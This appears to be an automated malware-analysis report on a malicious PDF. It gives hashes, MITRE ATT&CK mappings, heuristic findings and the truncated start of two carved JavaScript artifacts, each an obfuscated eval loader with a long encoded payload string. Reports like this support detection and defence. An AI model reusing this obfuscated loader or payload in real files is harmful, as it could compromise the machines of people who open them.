Malicious PDF — malware analysis report

Static analysis result for SHA-256 717d9a4051a01299…

MALICIOUS

PDF

25.6 KB Created: 2006-02-01 14:14:12 Authoring application: Wegoptyr (via HghTc6Fs)
MD5: 63e2735311e3be008b2516cefd087164 SHA-1: baa3ebe1db05105ffad84c47782b274440044a98 SHA-256: 717d9a4051a0129949f4916a8d29a6fb557f16c3636bbec5258ff1631e7a8eb6
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

This PDF file contains embedded JavaScript that utilizes eval() to execute obfuscated code. The presence of PDF_JS_EXPLOIT_CLUSTER and ML_NYX_PDF_MALICIOUS heuristics indicates a high likelihood of exploitation. The JavaScript streams are heavily obfuscated, but the eval() call suggests dynamic code execution, typical for downloading and running further malicious content. The file's metadata and heuristics point towards a malicious PDF designed for initial compromise.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js
c659be52f6826e6242243c984108596e28a84433e50122891d5e76027725f18d		 pdf-javascript-stream PDF /JS object 7 at offset 0x1EE 25129 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var d = eval;
var s = "12 120 99 116 34 114 99 123 110 113 99 102 34 63 34 119 112 103 117 101 99 114 103 42 36 39 119 50 67 50 67 39 119 50 67 50 67 39 119 50 67 50 67 36 45 36 39 119 71 51 70 59 39 119 53 54 70 59 39 119 55 58 52 54 39 119 55 58 55 58 39 119 53 53 55 58 39 119 68 53 70 68 39 119 50 53 51 69 39 119 53 51 69 53 39 119 56 56 69 59 39 119 71 59 58 51 39 119 72 67 56 55 39 119 53 50 58 50 39 119 54 50 52 51 39 119 72 67 71 52 39 119 51 57 69 59 39 119 52 51 52 52 39 119 54 59 52 51 39 119 50 51 52 51 39 119 52 51 52 51 39 119 52 51 54 68 39 119 72 51 70 71 39 119 52 51 59 58 39 119 52 51 53 51 39 119 67 67 52 51 39 119 69 67 70 59 39 119 57 72 52 54 39 119 58 55 70 52 39 119 72 51 70 71 39 119 70 57 69 59 39 119 70 71 70 71 39 119 69 59 70 71 39 119 52 52 51 69 39 119 52 51 52 51 39 119 70 59 67 67 39 119 51 59 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 50 56 69 39 119 52 51 52 51 39 119 56 57 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 52 72 67 39 119 52 51 52 51 39 119 70 59 67 67 39 119 50 53 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 50 56 55 39 119 52 51 52 51 39 119 51 51 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 52 67 58 39 119 52 51 52 51 39 119 70 59 67 67 39 119 52 70 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 50 54 50 39 119 52 51 52 51 39 119 53 68 69 59 39 119 52 51 52 51 39 119 69 67 52 51 39 119 57 52 57 59 39 119 72 70 67 67 39 119 54 68 57 52 39 119 54 59 56 51 39 119 53 51 52 51 39 119 52 51 52 51 39 119 69 59 57 56 39 119 52 53 59 50 39 119 52 51 52 51 39 119 69 54 69 59 39 119 52 51 52 51 39 119 57 59 52 51 39 119 57 52 71 52 39 119 72 70 67 67 39 119 54 68 57 52 39 119 54 59 50 51 39 119 53 51 52 51 39 119 52 51 52 51 39 119 69 59 57 56 39 119 52 53 68 58 39 119 52 51 52 51 39 119 71 69 69 59 39 119 52 51 52 51 39 119 57 59 52 51 39 119 57 56 71 52 39 119 51 70 69 59 39 119 52 51 52 55 39 119 67 67 52 51 39 119 51 52 70 59 39 119 56 58 71 58 39 119 71 51 51 52 39 119 71 52 59 51 39 119 70 53 70 70 39 119 67 69 58 72 39 119 70 71 56 56 39 119 71 52 57 71 39 119 51 72 57 67 39 119 52 56 71 57 39 119 51 72 59 59 39 119 57 71 67 58 39 119 54 57 52 50 39 119 71 56 51 72 39 119 52 54 56 56 39 119 69 51 70 71 39 119 69 58 71 52 39 119 52 55 68 54 39 119 52 51 52 51 39 119 67 50 57 67 39 119 53 55 69 70 39 119 52 51 52 50 39 119 67 67 52 51 39 119 51 72 72 55 39 119 52 53 71 56 39 119 54 69 54 52 39 119 50 51 54 55 39 119 71 56 51 72 39 119 52 55 56 53 39 119 54 52 50 71 39 119 50 53 50 51 39 119 71 53 67 52 39 119 51 52 52 59 39 119 57 51 71 51 39 119 54 59 57 51 39 119 52 50 52 55 39 119 52 51 52 51 39 119 57 52 57 53 39 119 69 59 57 51 39 119 52 52 71 50 39 119 52 51 52 51 39 119 72 51 70 71 39 119 70 70 67 67 39 119 71 56 67 67 39 119 71 51 67 52 39 119 51 72 52 59 39 119 53 59 67 68 39 119 72 67 67 55 39 119 52 52 55 55 39 119 69 67 56 51 39 119 51 72 70 57 39 119 52 51 71 57 39 119 51 52 50 53 39 119 51 72 72 53 39 119 57 51 67 59 39 119 67 52 52 50 39 119 57 55 69 70 39 119 71 51 51 52 39 119 72 67 51 52 39 119 71 70 67 67 39 119 70 59 67 52 39 119 55 69 57 55 39 119 51 72 52 58 39 119 53 70 67 58 39 119 67 52 52 50 39 119 52 55 71 51 39 119 70 53 69 67 39 119 71 70 67 67 39 119 72 58 67 67 39 119 71 52 67 52 39 119 51 52 53 51 39 119 51 72 71 51 39 119 56 52 71 56 39 119 52 50 50 70 39 119 52 51 52 51 39 119 57 50 52 51 39 119 57 51 57 52 39 119 57 51 57 51 39 119 57 51 57 51 39 119 57 56 57 51 39 119 69 59 57 51 39 119 52 52 51 58 39 119 52 51 52 51 39 119 53 58 69 59 39 119 52 51 52 51 39 119 54 55 52 51 39 119 52 55 58 50 39 119 52 51 52 51 39 119 67 69 52 51 39 119 54 51 58 51 39 119 70 71 70 71 39 119 69 59 70 71 39 119 52 52 51 56 39 119 52 51 52 51 39 119 72 67 51 52 39 119 57 52 57 52 39 119 57 52 57 52 39 119 72 51 70 71 39 119 51 59 67 51 39 119 67 51 69 59 39 119 69 58 51 59 39 119 52 71 55 54 39 119 55 59 67 50 39 119 68 51 52 54 39 119 68 51 68 51 39 119 55 55 68 51 39 119 57 54 52 57 39 119 69 70 67 67 39 119 56 51 67 69 39 119 70 71 52 54 39 119 69 59 69 51 39 119 70 71 50 72 39 119 70 71 70 71 39 119 69 59 71 52 39 1
... (truncated)
javascript_obj0007_001.js
8cfa6aa5cb88d7f5fbe2df3b78fa8c99947264b8811faf99c7a60b1a926b2850		 pdf-javascript-stream PDF /JS object 7 at offset 0x1EE 24886 bytes
Preview script
First 1,000 lines of the extracted script
var d = eval;
var s = "12 120 99 116 34 114 99 123 110 113 99 102 34 63 34 119 112 103 117 101 99 114 103 42 36 39 119 50 67 50 67 39 119 50 67 50 67 39 119 50 67 50 67 36 45 36 39 119 71 51 70 59 39 119 53 54 70 59 39 119 55 58 52 54 39 119 55 58 55 58 39 119 53 53 55 58 39 119 68 53 70 68 39 119 50 53 51 69 39 119 53 51 69 53 39 119 56 56 69 59 39 119 71 59 58 51 39 119 72 67 56 55 39 119 53 50 58 50 39 119 54 50 52 51 39 119 72 67 71 52 39 119 51 57 69 59 39 119 52 51 52 52 39 119 54 59 52 51 39 119 50 51 52 51 39 119 52 51 52 51 39 119 52 51 54 68 39 119 72 51 70 71 39 119 52 51 59 58 39 119 52 51 53 51 39 119 67 67 52 51 39 119 69 67 70 59 39 119 57 72 52 54 39 119 58 55 70 52 39 119 72 51 70 71 39 119 70 57 69 59 39 119 70 71 70 71 39 119 69 59 70 71 39 119 52 52 51 69 39 119 52 51 52 51 39 119 70 59 67 67 39 119 51 59 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 50 56 69 39 119 52 51 52 51 39 119 56 57 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 52 72 67 39 119 52 51 52 51 39 119 70 59 67 67 39 119 50 53 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 50 56 55 39 119 52 51 52 51 39 119 51 51 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 52 67 58 39 119 52 51 52 51 39 119 70 59 67 67 39 119 52 70 69 59 39 119 52 51 52 51 39 119 69 59 52 51 39 119 52 50 54 50 39 119 52 51 52 51 39 119 53 68 69 59 39 119 52 51 52 51 39 119 69 67 52 51 39 119 57 52 57 59 39 119 72 70 67 67 39 119 54 68 57 52 39 119 54 59 56 51 39 119 53 51 52 51 39 119 52 51 52 51 39 119 69 59 57 56 39 119 52 53 59 50 39 119 52 51 52 51 39 119 69 54 69 59 39 119 52 51 52 51 39 119 57 59 52 51 39 119 57 52 71 52 39 119 72 70 67 67 39 119 54 68 57 52 39 119 54 59 50 51 39 119 53 51 52 51 39 119 52 51 52 51 39 119 69 59 57 56 39 119 52 53 68 58 39 119 52 51 52 51 39 119 71 69 69 59 39 119 52 51 52 51 39 119 57 59 52 51 39 119 57 56 71 52 39 119 51 70 69 59 39 119 52 51 52 55 39 119 67 67 52 51 39 119 51 52 70 59 39 119 56 58 71 58 39 119 71 51 51 52 39 119 71 52 59 51 39 119 70 53 70 70 39 119 67 69 58 72 39 119 70 71 56 56 39 119 71 52 57 71 39 119 51 72 57 67 39 119 52 56 71 57 39 119 51 72 59 59 39 119 57 71 67 58 39 119 54 57 52 50 39 119 71 56 51 72 39 119 52 54 56 56 39 119 69 51 70 71 39 119 69 58 71 52 39 119 52 55 68 54 39 119 52 51 52 51 39 119 67 50 57 67 39 119 53 55 69 70 39 119 52 51 52 50 39 119 67 67 52 51 39 119 51 72 72 55 39 119 52 53 71 56 39 119 54 69 54 52 39 119 50 51 54 55 39 119 71 56 51 72 39 119 52 55 56 53 39 119 54 52 50 71 39 119 50 53 50 51 39 119 71 53 67 52 39 119 51 52 52 59 39 119 57 51 71 51 39 119 54 59 57 51 39 119 52 50 52 55 39 119 52 51 52 51 39 119 57 52 57 53 39 119 69 59 57 51 39 119 52 52 71 50 39 119 52 51 52 51 39 119 72 51 70 71 39 119 70 70 67 67 39 119 71 56 67 67 39 119 71 51 67 52 39 119 51 72 52 59 39 119 53 59 67 68 39 119 72 67 67 55 39 119 52 52 55 55 39 119 69 67 56 51 39 119 51 72 70 57 39 119 52 51 71 57 39 119 51 52 50 53 39 119 51 72 72 53 39 119 57 51 67 59 39 119 67 52 52 50 39 119 57 55 69 70 39 119 71 51 51 52 39 119 72 67 51 52 39 119 71 70 67 67 39 119 70 59 67 52 39 119 55 69 57 55 39 119 51 72 52 58 39 119 53 70 67 58 39 119 67 52 52 50 39 119 52 55 71 51 39 119 70 53 69 67 39 119 71 70 67 67 39 119 72 58 67 67 39 119 71 52 67 52 39 119 51 52 53 51 39 119 51 72 71 51 39 119 56 52 71 56 39 119 52 50 50 70 39 119 52 51 52 51 39 119 57 50 52 51 39 119 57 51 57 52 39 119 57 51 57 51 39 119 57 51 57 51 39 119 57 56 57 51 39 119 69 59 57 51 39 119 52 52 51 58 39 119 52 51 52 51 39 119 53 58 69 59 39 119 52 51 52 51 39 119 54 55 52 51 39 119 52 55 58 50 39 119 52 51 52 51 39 119 67 69 52 51 39 119 54 51 58 51 39 119 70 71 70 71 39 119 69 59 70 71 39 119 52 52 51 56 39 119 52 51 52 51 39 119 72 67 51 52 39 119 57 52 57 52 39 119 57 52 57 52 39 119 72 51 70 71 39 119 51 59 67 51 39 119 67 51 69 59 39 119 69 58 51 59 39 119 52 71 55 54 39 119 55 59 67 50 39 119 68 51 52 54 39 119 68 51 68 51 39 119 55 55 68 51 39 119 57 54 52 57 39 119 69 70 67 67 39 119 56 51 67 69 39 119 70 71 52 54 39 119 69 59 69 51 39 119 70 71 50 72 39 119 70 71 70 71 39 119 69 59 71 52 39 1
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.